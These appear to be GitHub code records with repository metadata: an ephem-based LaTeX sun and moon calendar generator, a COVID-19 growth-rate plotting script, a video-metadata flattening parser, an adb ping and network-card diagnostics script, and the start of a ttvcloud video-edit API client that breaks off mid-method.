{"seq_id": "9665045664", "text": "# -*- coding:utf-8 -*-\n\n\"\"\"\n月と太陽の暦(TEX)\n2017/12/10\n\"\"\"\nimport ephem\nfrom moon_func import *\nfrom moon_calc import *\nimport calend_func\n\nyear = 2018\n\nmoon = ephem.Moon()\nsun = ephem.Sun()\n\nlocation = ephem.Observer()\n\nlocation.name = '福岡'\nlocation.lon, location.lat = '130.4000', '33.5833'\n\nlocation.elevation = 0.0\n\n# tex -----------\nprint(\"\\\\documentclass[12pt.a4j]{jsarticle}\")\nprint(\"\\\\begin{document}\")\nprint(\"\\\\pagestyle{empty}\")\nprint(\"\\\\begin{center}\")\n\nfor month in range(1, 13):\n\n    rise_dic    = {}\n    set_dic     = {}\n    ecl_dic     = {}\n\n    days = calend_func.month_days(year, month)\n\n    for d in range(0, days):\n\n       day = d+1\n\n       date0 = str(year)+str('/%02d' % month)+str('/%02d' % day)\n       location.date = str(date0+' 9:00') #UT+9hr =JST\n       date_location = location.date\n\n       today     = Moon(location)\n       today.rise(location)\n       rise_dic.update({today.index:today})\n\n       location.date= date_location\n       today     = Moon(location)\n       today.set(location)\n       set_dic.update({today.index:today})\n   \n       location.date= date_location\n       today     = Moon(location)\n       today.noon(location)\n       ecl_dic.update({today.index:today})\n\n    # tex -----\n\n    print(\"  {\\\\large %4d 年 %2d 月}\" % (year, month))\n    print(\"  {\\\\Large 　　　太陽と月の暦   （%s） }\" % location.name)\n    print(\"  \\\\begin{table}[ht]\")\n    print(\"  \\\\begin{center}\")\n    print(\"     \\\\begin{tabular}{|rc|ccc|rc|ccc|}\")\n    print(\"     \\\\hline\")\n    print(\"     \\\\multicolumn{2}{|c|}{日（曜）} & \\\\multicolumn{3}{c|}{日出　―　日没} & \\\\multicolumn{2}{c|}{月齢（潮）} & \\\\multicolumn{3}{c|}{月出　―　月没}\\\\\\\\\")\n    print(\"     \\\\hline\")\n\n    for d in range(0, days):\n        day = d + 1\n        date0 = str(year)+str('/%02d' % month)+str('/%02d' % day)\n        location.date = str(date0+' 9:00')\n\n        weekday = get_weekday(date0)\n\n        date1  = repr(ephem.localtime(location.date))\n        date2  = eval(date1)\n        date_str   = date2.strftime('%Y%m%d')\n        mm         = int(date2.strftime('%m'))\n        dd         = int(date2.strftime('%d'))\n\n        #--- Sun rise -----\n        today = Sun(location)\n        today.sun_rise(location)\n        sun_rise = today.sun_rise\n\n        #--- Sun set -----\n        today = Sun(location)\n        today.sun_set(location)\n        sun_set = today.sun_set\n\n        rise       = rise_dic.get(date_str)\n\n        if (rise is None):\n            rise_str     = \" --:-- \" \n        else:\n            rise_str = rise.hhmm\n\n        set             = set_dic.get(date_str)\n\n        if (set is None):\n            set_str     = \" --:-- \"\n        else:\n            set_str     = set.hhmm\n\n        ecl             = ecl_dic.get(date_str)\n\n        if (ecl is None):\n            ecl_str     = \" ECL none! \"\n        else:\n            ecl_tname   = ecl.tname\n            moon_age    = ecl.moonage\n\n        print(' %2d & %s & %s &-& %s & %4.1f & %s & %s &-& %s \\\\\\\\'    %(dd,weekday,sun_rise,sun_set,moon_age,ecl_tname,rise_str,set_str))\n\n    print(\"    \\\\hline\")\n    print(\"    \\\\end{tabular}\")\n    print(\"    \\\\end{center}\")\n    print(\"\\\\end{table}\")\n    print(\"\\\\newpage\")\n\nprint(\"\\\\end{center}\")\nprint(\"\\\\end{document}\")\n\n", "repo_name": "IchiroYoshida/python_public", "sub_path": "astro/moon/ephem/eph3_tex.py", "file_name": "eph3_tex.py", "file_ext": "py", "file_size_in_byte": 3250, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "ephem.Moon", "line_number": 14, "usage_type": "call"}, {"api_name": "ephem.Sun", "line_number": 15, "usage_type": "call"}, {"api_name": "ephem.Observer", "line_number": 17, "usage_type": "call"}, {"api_name": "calend_func.month_days", "line_number": 36, "usage_type": "call"}, {"api_name": "ephem.localtime", "line_number": 78, "usage_type": "call"}]}
{"seq_id": "73387120585", "text": "import os\nimport sys\nsys.path.append(os.path.abspath(os.path.dirname(__file__) + '/' + '../..'))\n\nimport matplotlib as mpl\n\nmpl.use('pgf')\npgf_with_latex = {                     \n    \"pgf.texsystem\": \"xelatex\",        \n    \"pgf.rcfonts\": False,\n    \"text.usetex\": True,                \n    \"font.family\": \"Times New Roman\",\n    \"pgf.preamble\": [\n        r\"\\usepackage{fontspec}\",    \n        r\"\\setmainfont{Times New Roman}\",        \n        r\"\\usepackage{unicode-math}\",\n        r\"\\setmathfont{xits-math.otf}\"\n        ]\n    }    \nmpl.rcParams.update(pgf_with_latex)\n\nimport numpy as np\nimport datetime as dt\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport matplotlib.patches as mpatches\nimport seaborn as sns\n\nfrom python.tools import (\n    clean_folder\n)\n\n################\n## Parameters ##\n################\n\ninput_folder  = './get_graphs/input'\noutput_folder = './get_graphs/output/plot_raw_growth_rate'\ndays_infectious = 7\n\n#######################\n## Construct dataset ##\n#######################\n\nclean_folder(output_folder)\n\n# Read data \ndf = pd.read_csv('{}/dataset.csv'.format(input_folder))\n\n# Merge in estimates\ndf_temp = pd.read_csv('{}/estimated_R.csv'.format(input_folder))\nmask = df_temp['days_infectious'] == days_infectious\ndf_temp = df_temp.loc[mask, ]\ndf = pd.merge(df, df_temp[['Date', 'Country/Region', 'R']], how = 'left')\ndf['gr_infected_smoothed'] = (1 / float(days_infectious)) * (df['R'] - 1)\ndf['Date'] = pd.to_datetime(df['Date'])\n\n# Plot raw data on growth of infected\n# for China, Italy, and US\ncountry_list = ['China', 'Italy', 'US', ]\nfig, ax = plt.subplots(figsize = (5.0, 4.0))\ncolors = ['r', 'b', 'g']\ndf_data_graph_temp = pd.DataFrame()\nfor country, color in zip(country_list, colors):\n    mask = (df['Country/Region'] == country)\n    df_temp = df.loc[mask, ].copy()\n    plt.plot(df_temp['Date'], df_temp['gr_infected_{}'.format(days_infectious)],\n             color = color, \n             linestyle = '-',\n             alpha = 0.9,\n             label = country)\n    plt.plot(df_temp['Date'], df_temp['gr_infected_smoothed'],\n             color = color, \n             linestyle = '--',\n             alpha = 0.9)\n    df_data_graph_temp = pd.concat([df_data_graph_temp, df_temp[['Country/Region', 'Date', \n                                                                 'gr_infected_{}'.format(days_infectious), 'gr_infected_smoothed']]])\nplt.legend(frameon = False,\n           fontsize = 12)\n\nplt.ylabel('Growth Rate Number of Infected', fontsize = 12)\nplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%b-%d'))\nplt.gca().xaxis.set_major_locator(mdates.DayLocator(interval = 14))\ndf_data_graph_temp.to_csv('{}/growth_rate_countries.csv'.format(output_folder), index = False)\nfig.savefig(\"{}/raw_data_infected.png\".format(output_folder), bbox_inches = 'tight', dpi = 600)\nfig.savefig(\"{}/raw_data_infected.pgf\".format(output_folder), bbox_inches = 'tight', dpi = 600)", "repo_name": "crondonm/TrackingR", "sub_path": "Replication Codes/code/python/get_graphs/plot_raw_growth_rate.py", "file_name": "plot_raw_growth_rate.py", "file_ext": "py", "file_size_in_byte": 2952, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 27, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "matplotlib.use", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.rcParams.update", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 20, "usage_type": "attribute"}, {"api_name": "python.tools.clean_folder", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 55, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "pandas.concat", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.dates.DateFormatter", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.dates.DayLocator", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 84, "usage_type": "name"}]}
{"seq_id": "40719775049", "text": "from os import path\nfrom pandas import DataFrame\nimport json\n\nfrom pytimeparse import parse as pt_parse\n\nfrom contentai_metadata_flatten.parsers import Flatten\n\nclass Parser(Flatten):\n    def __init__(self, path_content, logger=None):\n        super().__init__(path_content, logger=logger)\n        self.EXTRACTOR = \"dsai_metadata\"\n        self.SCORE_DEFAULT_FIXED = 0.75\n\n    @staticmethod\n    def known_types():\n        \"\"\"Return the output types for this generator\n        :return: list.  List of output types (file types) for this generator\n        \"\"\"\n        return ['keyword', 'identity', 'tag', 'scene', 'topic', 'brand', 'shot', 'transcript']\n\n    def parse(self, run_options):\n        \"\"\"Flatten CAE Indexing results\n\n        :param: run_options (dict): specific runtime information\n        :returns: (DataFrame): DataFrame on successful decoding and export, None (or exception) otherwise\n        \"\"\"\n        dict_data = self.get_extractor_results(self.EXTRACTOR, \"metadata.json\")\n\n        list_items = []\n        list_keywords = []\n        if \"keywords\" in dict_data:  # loop over keywords\n            for local_obj in dict_data['keywords']:\n                list_keywords.append({'tag':local_obj, 'tag_type':\"keyword\"})\n\n        # TODO: populate with other keywords (e.g. trending?)\n\n        key_sentence = {}\n        if \"smartTags\" in dict_data:  # loop over smart tags\n            for local_type in [\"programNE\", \"epgNE\", \"commercialNE\"]:\n                if local_type in dict_data[\"smartTags\"]:\n                    for local_obj in dict_data[\"smartTags\"][local_type]:\n                        if \"neType\" in local_obj and \"namedEntity\" in local_obj and \"sentNumber\" in local_obj:  # validate object\n                            insight_obj = {\"tag\": local_obj[\"namedEntity\"], \"tag_type\": \"entity\",  # could be 'brand' too or 'identity'?\n                                \"details\": {\"type\": local_obj[\"neType\"], 'description': local_obj['neLabel'], 'weight': local_obj['weight'] } }\n                            for sent_id in local_obj[\"sentNumber\"]:\n                                sent_id = int(sent_id)\n                                if sent_id not in key_sentence:  # save this instance data a this sentence\n                                    key_sentence[sent_id] = []\n                                key_sentence[sent_id].append(insight_obj)\n\n        if \"sent\" in dict_data:  # loop over transcripts\n            insight_obj = dict_data[\"sent\"]\n            for local_obj in insight_obj:\n                if \"text\" in local_obj and \"start\" in local_obj and len(local_obj[\"text\"]) > 0:  # validate object\n                    time_begin = float(local_obj['start'])/1000\n                    time_duration = float(local_obj['duration'])/1000\n                    detail_obj = { \"transcript\": local_obj[\"text\"] }\n                    if \"ccstart\" in local_obj:\n                        detail_obj['caption'] = {\"time_begin\": float(local_obj['ccstart'])/1000}\n                        detail_obj['caption'][\"time_end\"] = float(local_obj['ccduration'])/1000 + detail_obj['caption'][\"time_begin\"]\n                    list_items.append( {\"time_begin\": time_begin, \"source_event\": \"speech\", \"tag_type\": \"transcript\",\n                        \"time_end\": time_begin + time_duration, \"time_event\": time_begin, \"tag\": Flatten.TAG_TRANSCRIPT,\n                        \"score\": self.SCORE_DEFAULT_FIXED, \"details\": json.dumps(detail_obj), \"extractor\": self.EXTRACTOR})\n\n                    # process other named entities that indicted this sentence\n                    sent_id = int(local_obj[\"number\"])\n                    if sent_id in key_sentence:\n                        for insight_obj in key_sentence[sent_id]:\n                            list_items.append( {\"time_begin\": time_begin, \"source_event\": \"speech\", \"tag_type\": insight_obj['tag_type'],\n                                \"time_end\": time_begin + time_duration, \"time_event\": time_begin, \"tag\": insight_obj['tag'],\n                                \"score\": self.SCORE_DEFAULT, \"details\": json.dumps(insight_obj['details']), \"extractor\": self.EXTRACTOR})\n\n                    # now process quickly for keywords\n                    lower_scan = local_obj[\"text\"].lower()\n                    for insight_obj in list_keywords:\n                        if insight_obj['tag'].lower() in lower_scan:   # just check for presence\n                            list_items.append( {\"time_begin\": time_begin, \"source_event\": \"speech\", \"tag_type\": insight_obj['tag_type'],\n                                \"time_end\": time_begin + time_duration, \"time_event\": time_begin, \"tag\": insight_obj['tag'],\n                                \"score\": self.SCORE_DEFAULT, \"details\": \"\", \"extractor\": self.EXTRACTOR})\n\n        if \"silence\" in dict_data:  # loop over audio\n            for local_obj in dict_data['silence']:\n                if \"start\" in local_obj and \"duration\" in local_obj:  # validate object\n                    time_begin = float(local_obj['start'])/1000\n                    time_duration = float(local_obj['duration'])/1000\n                    list_items.append({\"time_begin\": time_begin, \"source_event\": \"audio\", \"tag_type\": \"tag\",\n                        \"time_end\": time_begin + time_duration, \"time_event\": time_begin, \"tag\": \"silence\",\n                        \"score\": self.SCORE_DEFAULT_FIXED, \"details\": \"\", \"extractor\": self.EXTRACTOR})\n\n        if \"audio\" in dict_data:  # loop over audio concepts\n            if 'regions' in dict_data['audio']:\n                for local_obj in dict_data['audio']['regions']:\n                    if \"start\" in local_obj and \"duration\" in local_obj and 'concepts' in local_obj:  # validate object\n                        time_begin = float(local_obj['start'])/1000\n                        time_duration = float(local_obj['duration'])/1000\n                        for score_obj in local_obj['concepts']:\n                            list_items.append({\"time_begin\": time_begin, \"source_event\": \"audio\", \"tag_type\": \"tag\",\n                                \"time_end\": time_begin + time_duration, \"time_event\": time_begin, \"tag\": score_obj['name'],\n                                \"score\": round(float(score_obj['score']), self.ROUND_DIGITS), \"details\": \"\", \"extractor\": self.EXTRACTOR})\n\n        if \"commercial\" in dict_data:  # loop over scenes\n            for local_obj in dict_data['commercial']:\n                if \"start\" in local_obj and \"duration\" in local_obj:  # validate object\n                    time_begin = float(local_obj['start'])/1000\n                    time_duration = float(local_obj['duration'])/1000\n                    list_items.append({\"time_begin\": time_begin, \"source_event\": \"video\", \"tag_type\": \"scene\",\n                        \"time_end\": time_begin + time_duration, \"time_event\": time_begin, \"tag\": \"commercial\",\n                        \"score\": self.SCORE_DEFAULT, \"details\": \"\", \"extractor\": self.EXTRACTOR})\n\n        for local_type in ['tms', 'iab']:  # loop over TMS and IAB concepts\n            if local_type in dict_data and 'regions' in dict_data[local_type]:\n                for local_obj in dict_data[local_type]['regions']:\n                    if \"start\" in local_obj and \"duration\" in local_obj and 'concepts' in local_obj:  # validate object\n                        time_begin = float(local_obj['start'])/1000\n                        time_duration = float(local_obj['duration'])/1000\n                        for score_obj in local_obj['concepts']:\n                            list_items.append({\"time_begin\": time_begin, \"source_event\": \"video\", \"tag_type\": \"topic\",\n                                \"time_end\": time_begin + time_duration, \"time_event\": time_begin, \"tag\": score_obj['name'],\n                                \"score\": round(float(score_obj['score']), self.ROUND_DIGITS), \"details\": \"\", \"extractor\": self.EXTRACTOR})\n\n\n        if \"mmimg\" in dict_data:  # overall validation\n            if 'images' in dict_data['mmimg'] and 'width' in dict_data['mmimg'] and 'height' in dict_data['mmimg']:  # overall validation\n                img_width = float(dict_data['mmimg']['width'])\n                img_height = float(dict_data['mmimg']['width'])\n                img_timing = {}\n                \n                img_id_last = -1\n                kfcluster_max = self.SCORE_DEFAULT   # this is given in raw distance, so we're going to min/max normalize\n                for local_obj in dict_data['mmimg']['images']:  # loop over images for timing construction\n                    time_begin = float(local_obj['start'])/1000\n                    img_id = int(local_obj['id'])\n                    img_timing[img_id] = {'time_begin': time_begin, 'time_end': time_begin}\n                    if (img_id - 1) in img_timing:  # seek back for end timing\n                        img_timing[img_id - 1]['time_end'] = img_timing[img_id]['time_begin'] - 1/1000\n                    img_id_last = img_id\n                    if 'kfcluster' in local_obj and len(local_obj['kfcluster']):\n                        kfcluster_max = max(kfcluster_max, float(local_obj['kfcluster']['score']))\n                if img_id_last > -1 and 'duration' in dict_data:  # time the final image/shot\n                    img_timing[img_id_last]['time_end'] = float(dict_data['duration'])/1000 - 1/1000\n                    \n                for local_obj in dict_data['mmimg']['images']:  # loop over images for other extraction\n                    details_obj = {}\n                    img_id = int(local_obj['id'])\n                    if 'type' in local_obj:  # udpate 0.7.0, make into an array\n                        details_obj['shot_type'] = [local_obj['type']]\n                    # first, publish the shot for this image\n                    list_items.append( {\"time_begin\": img_timing[img_id]['time_begin'], \"source_event\": \"video\", \"tag_type\": \"shot\",\n                        \"time_end\": img_timing[img_id]['time_end'], \"time_event\": img_timing[img_id]['time_begin'], \"tag\": \"shot\",\n                        \"score\": self.SCORE_DEFAULT_FIXED, \"details\": json.dumps(details_obj),\n                        \"extractor\": self.EXTRACTOR})\n                    \n                    if \"face\" in local_obj:  # process faces\n                        for insight_obj in local_obj['face']:\n                            details_obj = {}\n                            if 'x' in insight_obj and 'w' in insight_obj:\n                                details_obj['box'] = {'w': round(float(insight_obj['w']) / img_width, self.ROUND_DIGITS), \n                                    'h': round(float(insight_obj['h']) / img_width, self.ROUND_DIGITS),\n                                    'l': round(float(insight_obj['x']) / img_height, self.ROUND_DIGITS), \n                                    't': round(float(insight_obj['y']) / img_height, self.ROUND_DIGITS) }\n                            if 'rec' in insight_obj:   # specific identity\n                                list_items.append( {\"time_begin\": img_timing[img_id]['time_begin'], \"source_event\": \"face\", \"tag_type\": \"identity\",\n                                    \"time_end\": img_timing[img_id]['time_end'], \"time_event\": img_timing[img_id]['time_begin'], \n                                    \"tag\": insight_obj['rec']['name'].replace(\"_\", \" \"),\n                                    \"score\": float(insight_obj['rec']['confidence']), \"details\": json.dumps(details_obj),\n                                    \"extractor\": self.EXTRACTOR})\n\n                            if 'cluster' in insight_obj:   # general face cluster\n                                list_items.append( {\"time_begin\": img_timing[img_id]['time_begin'], \"source_event\": \"face\", \"tag_type\": \"identity\",\n                                    \"time_end\": img_timing[img_id]['time_end'], \"time_event\": img_timing[img_id]['time_begin'], \n                                    \"tag\": f\"face_cluster_{insight_obj['cluster']['id']}\",\n                                    \"score\": min(self.SCORE_DEFAULT_FIXED, float(insight_obj['cluster']['score'])), \"details\": json.dumps(details_obj),\n                                    \"extractor\": self.EXTRACTOR})\n                    \n                    object_map = {'logo': 'brand', 'object': 'tag'}\n                    for local_type in object_map:  # loop over logo and object\n                        if local_type in local_obj:\n                            for insight_obj in local_obj[local_type]:\n                                details_obj = {}\n                                if 'x' in insight_obj and 'w' in insight_obj:\n                                    details_obj['box'] = {'w': round(float(insight_obj['w']) / img_width, self.ROUND_DIGITS), \n                                        'h': round(float(insight_obj['h']) / img_width, self.ROUND_DIGITS),\n                                        'l': round(float(insight_obj['x']) / img_height, self.ROUND_DIGITS), \n                                        't': round(float(insight_obj['y']) / img_height, self.ROUND_DIGITS) }\n                                list_items.append( {\"time_begin\": img_timing[img_id]['time_begin'], \"source_event\": \"image\", \"tag_type\": object_map[local_type],\n                                    \"time_end\": img_timing[img_id]['time_end'], \"time_event\": img_timing[img_id]['time_begin'], \n                                    \"tag\": insight_obj['name'].replace(\"_\", \" \"),\n                                    \"score\": round(min(self.SCORE_DEFAULT_FIXED, float(insight_obj['score'])), self.ROUND_DIGITS), \"details\": json.dumps(details_obj),\n                                    \"extractor\": self.EXTRACTOR})\n\n                    if 'concept' in local_obj:   # process concepts\n                        for insight_obj in local_obj['concept']:\n                            list_items.append({\"time_begin\": img_timing[img_id]['time_begin'], \"source_event\": \"image\", \"tag_type\": \"tag\",\n                                \"time_end\": img_timing[img_id]['time_end'], \"time_event\": img_timing[img_id]['time_begin'], \n                                \"tag\": insight_obj['name'], \"score\": round(float(insight_obj['score']), self.ROUND_DIGITS), \"details\": \"\", \"extractor\": self.EXTRACTOR})\n\n                    if 'kfcluster' in local_obj and len(local_obj['kfcluster']):   # process kfcluster (duplicate frames)\n                        details_obj = local_obj['kfcluster']\n                        # TODO: investigate whether kfcluster score is a distance or a similarity; this code assumes distance!\n                        list_items.append({\"time_begin\": img_timing[img_id]['time_begin'], \"source_event\": \"image\", \"tag_type\": \"scene\",\n                            \"time_end\": img_timing[img_id]['time_end'], \"time_event\": img_timing[img_id]['time_begin'], \n                            \"tag\": \"duplicate\", \"score\": 1 - round(float(local_obj['kfcluster']['score']) / kfcluster_max, self.ROUND_DIGITS), \n                            \"details\": json.dumps(details_obj), \"extractor\": self.EXTRACTOR})\n\n        if \"mmpara\" in dict_data:  # loop over paragraph segments to make scenes (from speech)\n            for local_obj in dict_data['mmpara']:\n                if \"start\" in local_obj and \"duration\" in local_obj:  # validate object\n                    time_begin = float(local_obj['start'])/1000\n                    time_duration = float(local_obj['duration'])/1000\n                    details_obj = {}\n                    if \"sentstart\" in local_obj and \"sentend\" in local_obj:  # retain number of sentences\n                        details_obj = {'sentences': int(local_obj[\"sentend\"]) - int(local_obj[\"sentstart\"]) + 1}\n                    list_items.append({\"time_begin\": time_begin, \"source_event\": \"speech\", \"tag_type\": \"scene\",\n                        \"time_end\": time_begin + time_duration, \"time_event\": time_begin, \"tag\": \"story\",\n                        \"score\": self.SCORE_DEFAULT, \"details\": json.dumps(details_obj), \"extractor\": self.EXTRACTOR})\n\n\n        # TODO: additional parsing for these data\n        # viewers  --> ??\n        # segments  --> scenes?\n\n        if len(list_items) > 0:   # return the whole thing as dataframe\n            return DataFrame(list_items)\n\n        if run_options[\"verbose\"]:\n            self.logger.critical(f\"Missing nested sections from source '{self.EXTRACTOR}'\")\n        return None\n", "repo_name": "ezavesky/metadata-flatten-extractor", "sub_path": "contentai_metadata_flatten/parsers/dsai_metadata.py", "file_name": "dsai_metadata.py", "file_ext": "py", "file_size_in_byte": 16317, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "contentai_metadata_flatten.parsers.Flatten", "line_number": 9, "usage_type": "name"}, {"api_name": "contentai_metadata_flatten.parsers.Flatten.TAG_TRANSCRIPT", "line_number": 63, "usage_type": "attribute"}, {"api_name": "contentai_metadata_flatten.parsers.Flatten", "line_number": 63, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 64, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 72, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 151, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 166, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 173, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 189, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 204, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 216, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 224, "usage_type": "call"}]}
{"seq_id": "4706716702", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"Document: network script, keep network always working, using python3\"\"\"\n\nimport os\nimport sys\nimport time\nimport logging, random\nimport subprocess\nfrom adb import ADB\n\nPING_RESULT = 0\nNETWORK_RESULT = 0\nLOGPATH = \"output\"       # log保存的目录\n\ndef DisableNetwork():\n    ''' disable network card '''\n    result = os.system(u\"netsh interface set interface 以太网 disable\")\n    if result == 1:\n        print(\"disable network card failed\")\n    else:\n        print(\"disable network card successfully\")\n\ndef ping():\n    trytime = 30\n    success = 0\n    adb = ADB()\n    cmd = \"ping -c 4 {0} | grep -q 'ttl=' && echo '{0} ok' || echo '{0} failed'\".format('61.135.169.125')\n    print(cmd)\n    for i in range(trytime):\n        result = adb.shell(cmd)\n        if 'ok' in result[1]: success += 1\n        print(result)\n    return success\n\n\n\n\n\ndef init():\n    time.sleep(5)\n    logPath = os.path.join(LOGPATH, time.strftime('%m-%d-%H_%M_%S',time.localtime(time.time())))\n    if not os.path.exists(logPath):\n        os.makedirs(logPath)\n    global SERIAL_LOG_PATH\n    global LOG_PATH\n    SERIAL_LOG_PATH = os.path.join(logPath, \"serial.log\")\n    LOG_PATH = os.path.join(logPath, \"this.log\")\n    logging.basicConfig(level=logging.INFO, format='%(asctime)s [line:%(lineno)d] %(levelname)s %(message)s',\n                        datefmt='%a, %d %b %Y %H:%M:%S', filename=LOG_PATH, filemode='w')\n\n\nif __name__ == '__main__':\n\n    logging.info(\"Start Test!\")\n    print(ping())\n    # while True:\n    #     PING_RESULT = ping()\n    #     if PING_RESULT == 0:\n    #         time.sleep(20)\n    #     else:\n    #         logging.error(time.clock(),\"Ping fail\")\n    #         DisableNetwork()\n    #         time.sleep(10)\n", "repo_name": "xianfeng0115/PyDiagnosis", "sub_path": "API/modechange/onlyping.py", "file_name": "onlyping.py", "file_ext": "py", "file_size_in_byte": 1749, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.system", "line_number": 18, "usage_type": "call"}, {"api_name": "adb.ADB", "line_number": 27, "usage_type": "call"}, {"api_name": "adb.shell", "line_number": 31, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 42, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 42, "usage_type": "call"}, {"api_name": "time.time", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 49, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 55, "usage_type": "call"}]}
{"seq_id": "23662466124", "text": "# coding:utf-8\nimport json\nimport threading\n\nfrom ttvcloud.ApiInfo import ApiInfo\nfrom ttvcloud.Credentials import Credentials\nfrom ttvcloud.ServiceInfo import ServiceInfo\nfrom ttvcloud.base.Service import Service\n\n\nclass EditService(Service):\n    _instance_lock = threading.Lock()\n\n    def __new__(cls, *args, **kwargs):\n        if not hasattr(EditService, \"_instance\"):\n            with EditService._instance_lock:\n                if not hasattr(EditService, \"_instance\"):\n                    EditService._instance = object.__new__(cls)\n        return EditService._instance\n\n    def __init__(self, region='cn-north-1'):\n        self.service_info = EditService.get_service_info(region)\n        self.api_info = EditService.get_api_info()\n        super(EditService, self).__init__(self.service_info, self.api_info)\n\n    @staticmethod\n    def get_service_info(region):\n        service_info_map = {\n            'cn-north-1': ServiceInfo(\"open.bytedanceapi.com\", {'Accept': 'application/json'},\n                                      Credentials('', '', 'edit', 'cn-north-1'), 5, 5),\n            'ap-singapore-1': ServiceInfo(\"open.ap-singapore-1.bytedanceapi.com\", {'Accept': 'application/json'},\n                                          Credentials('', '', 'edit', 'ap-singapore-1'), 5, 5),\n            'us-east-1': ServiceInfo(\"open.us-east-1.bytedanceapi.com\", {'Accept': 'application/json'},\n                                     Credentials('', '', 'edit', 'us-east-1'), 5, 5),\n        }\n        service_info = service_info_map.get(region, None)\n        if not service_info:\n            raise Exception('Cant find the region, please check it carefully')\n\n        return service_info\n\n    @staticmethod\n    def get_api_info():\n        api_info = {\"SubmitDirectEditTaskAsync\": ApiInfo(\"POST\", \"/\", {\"Action\": \"SubmitDirectEditTaskAsync\",\n                                                                       \"Version\": \"2018-01-01\"}, {}, {}),\n                    \"SubmitDirectEditTaskSync\": ApiInfo(\"POST\", \"/\", {\"Action\": \"SubmitDirectEditTaskSync\",\n                                                                      \"Version\": \"2018-01-01\"}, {}, {}),\n                    \"GetDirectEditResult\": ApiInfo(\"POST\", \"/\", {\"Action\": \"GetDirectEditResult\",\n                                                                 \"Version\": \"2018-01-01\"}, {}, {}),\n                    \"SubmitTemplateTaskAsync\": ApiInfo(\"POST\", \"/\", {\"Action\": \"SubmitTemplateTaskAsync\",\n                                                                     \"Version\": \"2018-01-01\"}, {}, {})\n                    }\n        return api_info\n\n    def submit_direct_edit_task_async(self, body):\n        res = self.json('SubmitDirectEditTaskAsync', {}, body)\n        if res == '':\n            raise Exception(\"empty response\")\n        res_json = json.loads(res)\n        return res_json\n\n    def submit_direct_edit_task_sync(self, body):\n        res = self.json('SubmitDirectEditTaskSync', {}, body)\n        if res == '':\n            raise Exception(\"empty response\")\n        res_json = json.loads(res)\n        return res_json\n\n    def get_direct_edit_result(self, body):\n        res = self.json('GetDirectEditResult', {}, body)\n        if res == '':\n            raise Exception(\"empty response\")\n        res_json = json.loads(res)\n        return res_json\n\n    def submit_template_task_async(self, body):\n        res = 